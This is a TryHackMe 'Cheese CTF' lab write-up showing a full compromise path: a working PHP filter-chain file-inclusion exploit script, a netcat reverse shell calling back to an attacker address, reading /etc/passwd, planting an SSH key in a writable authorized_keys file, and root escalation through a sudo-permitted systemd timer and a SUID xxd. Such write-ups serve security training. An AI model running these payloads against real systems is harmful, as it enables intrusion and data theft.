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TryHackMe - Cheese CTF

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By Jenil Pansuriya
6 min read
TryHackMe - Cheese CTF

Cheese CTF started by discovering file disclosure vulnerability and getting reverse shell into the machine. Writing permission on user’s ssh keys gave the ssh connection as user. By exploiting Sudo permission of the systemd timer and service, we can get root flag.

Initial Enumeration

Nmap Scan

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$ nmap -sC -sV 10.10.156.141

The scan will return so many ports (almost all), but we only need two following ports:

  • 22/SSH
  • 80/HTTP

Vising http://cheese.thm/ page, we have just a static page and one login page on /login.php but it is not useful as we don’t have credentials.

Login Page

Shell as www-data

Fuzzing HTML pages

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$ ffuf -u http://cheese.thm/FUZZ.html -w /usr/share/wordlists/dirb/big.txt

After fuzzing for the html pages, we found three interesting web pages:

  • /messages.html
  • /users.html
  • /orders.html

There is nothing interesting on users and orders page, but we can see a link on messages page which redirects us to: http://cheese.thm/secret-script.php?file=php://filter/resource=supersecretmessageforadmin

We can exploit this php filter to read sensitive file :

/etc/passwd File

Here we can see there is one user named comte on the box by reading /etc/passwd file. I tried to include files from my local machine but it was not working. We can read /proc/self/cmdline to know that the web app is running by www-data. So, we can’t read any files in comte user’s directory. We can use the following python script to get reverse shell as www-data that I got from here :

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import requests

url = "http://cheese.thm/super-secret.php"
file_to_use = "php://temp"
command = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.x.x.x 4444 >/tmp/f"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

Start netcat listener on port 4444 and get reverse shell by running above python script :

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$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.x.x.x] from (UNKNOWN) [10.10.156.141] 39776
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Shell as comte

We can list files and directories inside home directory of comte user:

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$ ls -lah /home/comte
total 52K
drwxr-xr-x 7 comte comte 4.0K Apr  4 17:26 .
drwxr-xr-x 3 root  root  4.0K Sep 27  2023 ..
-rw------- 1 comte comte   55 Apr  4 17:26 .Xauthority
lrwxrwxrwx 1 comte comte    9 Apr  4 17:26 .bash_history -> /dev/null
-rw-r--r-- 1 comte comte  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 comte comte 3.7K Feb 25  2020 .bashrc
drwx------ 2 comte comte 4.0K Sep 27  2023 .cache
drwx------ 3 comte comte 4.0K Sep 24 21:00 .gnupg
drwxrwxr-x 3 comte comte 4.0K Mar 25  2024 .local
-rw-r--r-- 1 comte comte  807 Feb 25  2020 .profile
drwxr-xr-x 2 comte comte 4.0K Mar 25  2024 .ssh
-rw-r--r-- 1 comte comte    0 Sep 27  2023 .sudo_as_admin_successful
drwx------ 3 comte comte 4.0K Mar 25  2024 snap
-rw------- 1 comte comte 4.2K Sep 15  2023 user.txt

After going in .ssh directory, we noticed that we can edit authorized_keys file

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$ ls -lah /home/comte/.ssh
total 12K
drwxr-xr-x 2 comte comte 4.0K Mar 25  2024 .
drwxr-xr-x 7 comte comte 4.0K Apr  4 17:26 ..
-rw-rw-rw- 1 comte comte  0 Sep 24 20:57 authorized_keys

First, generate rsa key :

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$ ssh-keygen -t rsa -f key

Now, paste the content of the public key file into the authorized_keys. Now, we can get ssh connection to user comte :

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$ chmod 600 key
$ ssh -i key comte@cheese.thm

And we can read user flag :

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comte@cheesectf:~$ cat user.txt 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀


THM{REDACTED}

Root Flag

We can run command sudo -l to see which commands we can run as root :

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comte@cheesectf:~$ sudo -l
User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer

We can see that there is one systems timer exploit.timer that we can run as root. Also, there is one service file exploit.service.

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comte@cheesectf:~$ ls -lah /etc/systemd/system
total 128K
...
-rw-r--r--  1 root root  141 Mar 29 15:36 exploit.service
-rwxrwxrwx  1 root root  156 Sep 24 21:29 exploit.timer
...

We can see what this service file is doing:

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comte@cheesectf:/etc/systemd/system$ cat exploit.service 
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

So, this service is copying xxd binary into /opt folder and assigning SUID permission to this binary, but we can’t edit this file. But we can edit exploit.timer file that will run this service.

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comte@cheesectf:/etc/systemd/system$ cat exploit.timer 
[Unit]
Description=Exploit Timer
Requires=exploit.service

[Timer]
Unit=exploit.service
OnBootSec=3s
OnUnitInactiveSec=3s

[Install]
WantedBy=timers.target

Enable this timer file and start the timer as sudo :

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comte@cheesectf:/etc/systemd/system$ sudo /bin/systemctl enable exploit.timer
comte@cheesectf:/etc/systemd/system$ sudo /bin/systemctl start exploit.timer

Let’s look at the /opt folder:

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comte@cheesectf:/opt$ ls -lah
total 28K
drwxr-xr-x  2 root root 4.0K Sep 24 21:30 .
drwxr-xr-x 19 root root 4.0K Sep 27  2023 ..
-rwsr-sr-x  1 root root  19K Sep 24 22:33 xxd

We can refer to gtfobin to know how to read file when SUID bit is set to the xxd binary.

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comte@cheesectf:/opt$ LFILE=/root/root.txt
comte@cheesectf:/opt$ ./xxd "$LFILE" | xxd -r
      _                           _       _ _  __
  ___| |__   ___  ___  ___  ___  (_)___  | (_)/ _| ___
 / __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | |  __/  __/\__ \  __/ | \__ \ | | |  _|  __/
 \___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_|  \___|


THM{REDACTED}
Red Team, TryHackMe
thm-easy file disclosure privesc
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